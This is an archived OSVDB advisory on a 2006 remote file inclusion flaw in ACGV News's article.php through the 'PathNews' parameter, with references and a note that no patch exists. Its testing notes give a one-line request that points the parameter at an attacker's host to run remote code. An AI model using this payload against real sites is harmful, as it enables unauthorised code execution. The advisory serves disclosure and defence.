ACGV News article.php PathNews Variable Remote File Inclusion

2006-09-05T10:48:57
ID OSVDB:28555
Type osvdb
Reporter SHiKaA(SHiKaA@hotmail.com)
Modified 2006-09-05T10:48:57

Description

Vulnerability Description

ACGV News contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to article.php not properly sanitizing user input supplied to the 'PathNews' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

ACGV News contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to article.php not properly sanitizing user input supplied to the 'PathNews' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[Script Path]/article.php?PathNews=http://[attacker]?

References:

Vendor URL: http://www.acgv.fr.st/ Secunia Advisory ID:21765 ISS X-Force ID: 28763 Generic Exploit URL: http://milw0rm.com/exploits/2307 FrSIRT Advisory: ADV-2006-3475 CVE-2006-4638 Bugtraq ID: 19882